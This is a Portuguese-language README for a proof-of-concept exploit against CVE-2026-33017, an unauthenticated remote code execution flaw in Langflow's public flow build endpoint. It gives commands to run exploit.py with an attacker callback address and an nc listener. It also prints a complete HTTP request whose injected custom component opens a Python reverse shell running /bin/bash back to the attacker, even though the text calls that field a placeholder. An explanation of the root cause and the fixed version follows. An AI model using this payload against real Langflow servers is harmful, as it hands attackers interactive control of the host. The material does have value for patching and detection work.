
Proof-of-concept de exploit para CVE-2026-33017, um RCE não autenticado no endpoint build_public_tmp do Langflow, injetando um componente personalizado malicioso para obter um reverse shell.
★ CVE-2026-33017 Langflow Remote Code Execution PoC ★
https://github.com/user-attachments/assets/562fc637-6be1-4ab9-a396-bfad56447af7
Use os comandos a seguir para compilar e executar o ambiente Langflow vulnerável:
docker build -t cve-2026-33017-langflow-vuln .
docker run --rm -it -p 7860:7860 --name langflow-vuln cve-2026-33017-langflow-vuln
Após iniciar a instância vulnerável do Langflow, execute o PoC com a URL de destino, o ID do fluxo Público e o endereço de callback do atacante.
Opção A — use seu próprio listener:
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: fire the exploit
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444
Opção B — use o listener integrado com --listen:
python exploit.py --url http://localhost:7860/ --flow-id 00000000-0000-0000-0000-000000000001 --lhost <ATTACKER_IP> --lport 4444 --listen
| Opção | Descrição |
|---|---|
--url | URL do servidor Langflow de destino |
--flow-id | UUID do fluxo Público compartilhado |
--lhost | IP de callback do atacante |
--lport | Porta de callback do atacante |
--listen | Executa o listener integrado em vez de um nc externo |
CVE-2026-33017 é uma vulnerabilidade de Remote Code Execution (RCE) no processo de build de fluxos Públicos do Langflow, uma plataforma de código aberto para construção visual de aplicações LLM e fluxos de trabalho de IA.
Ao enviar dados de fluxo manipulados para o endpointbuild_public_tmpsem autenticação, um atacante pode fazer com que código Python arbitrário seja executado no servidor.
CVE-2026-33017 afeta o seguinte endpoint de build de fluxos Públicos no Langflow, uma plataforma de código aberto para criação visual de aplicações LLM e fluxos de trabalho de IA.
POST /api/v1/build_public_tmp/{flow_id}/flow
Um fluxo Público no Langflow é projetado para ser compartilhado com outros usuários por meio de um link ou mecanismo semelhante.
Para dar suporte a esse recurso, o endpoint de build prepara o fluxo para execução sem exigir autenticação, lendo os nós, arestas e configurações do fluxo e, em seguida, construindo o grafo de execução interno necessário para executá-lo.
O problema era que versões vulneráveis de build_public_tmp aceitavam não apenas as informações do fluxo Público armazenadas no servidor, mas também o campo data fornecido no corpo da requisição.
Esse campo data podia conter toda a definição do fluxo, incluindo:
Como resultado, um atacante poderia usar uma requisição não autenticada para injetar uma estrutura de fluxo totalmente controlada por ele, em vez de depender do fluxo Público legítimo armazenado no servidor.
Uma parte particularmente perigosa desse design é o recurso de Componente Personalizado.
No Langflow, um componente representa um bloco funcional individual responsável por tarefas como tratamento de entrada, invocação de modelo ou geração de saída. Um componente personalizado é um bloco extensível que permite aos usuários definir seu comportamento diretamente em código Python.
Um atacante poderia, portanto, incorporar um componente personalizado contendo código Python malicioso dentro do objeto data manipulado, e o servidor o processaria como se fosse uma parte normal do fluxo. Como resultado, o código injetado poderia ser analisado e executado durante o processo de build ou execução, levando, em última instância, à execução remota de código.
| Categoria | Versão |
|---|---|
| Vulnerável | Langflow anterior à 1.9.0 |
| Corrigida | Langflow 1.9.0 e posteriores |
O GitHub Security Advisory lista o intervalo afetado como
<= 1.8.2, mas a correção — remoção do parâmetrodata— foi incluída na 1.9.0. Todas as versões anteriores à 1.9.0 (incluindo 1.8.3 / 1.8.4) são, portanto, afetadas, razão pela qual o CVE Record declara< 1.9.0.
A exploração bem-sucedida desta vulnerabilidade pode permitir que um atacante assuma o controle do servidor Langflow e realize ações subsequentes, como:
O PoC a seguir demonstra o CVE-2026-33017 no Langflow 1.8.1.
O atacante primeiro identifica o flow_id de um fluxo Público alvo.

O atacante envia uma requisição build_public_tmp que injeta um componente personalizado cujo code Python é executado no servidor durante o build temporário. Na requisição abaixo, o valor de code é deixado como um placeholder — insira o payload você mesmo (veja a observação abaixo da requisição).
POST /api/v1/build_public_tmp/00000000-0000-0000-0000-000000000001/flow?event_delivery=direct&log_builds=false HTTP/1.1
Host: localhost:7860
Content-Type: application/json
Cookie: client_id=12345678-1234-1234-1234-123456789012
Connection: close
{
"data": {
"nodes": [
{
"id": "Exploit",
"data": {
"id": "Exploit",
"type": "ExploitComp",
"node": {
"template": {
"_type": "Component",
"code": {
"type": "code",
"value": "from lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n display_name = 'X'\n outputs = [Output(display_name='O', name='o', method='r')]\n\n def r(self) -> Data:\n import socket,subprocess\n s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n s.connect(('192.168.102.178', 4444))\n p = subprocess.Popen(['/bin/bash', '-i'], stdin=s.fileno(), stdout=s.fileno(), stderr=s.fileno())\n p.wait()\n return Data(data={'ok': 1})"
}
},
"outputs": [
{ "types": ["Data"], "name": "o", "method": "r" }
]
}
}
}
],
"edges": []
}
}
Durante o processo de build, o código incorporado no componente personalizado é executado no servidor. Quando a variante de reverse shell (automatizada por exploit.py) é usada, uma conexão é estabelecida de volta ao listener do atacante, concedendo a ele um shell interativo para executar comandos arbitrários no servidor.

Embora build_public_tmp fosse destinado a construir fluxos Públicos, versões vulneráveis ainda aceitavam um campo data diretamente do corpo da requisição.
Devido a esse design, o data fornecido pelo atacante era passado diretamente para a lógica de build do lado do servidor, e qualquer código Python incorporado em um componente personalizado era tratado como se fizesse parte de um fluxo legítimo.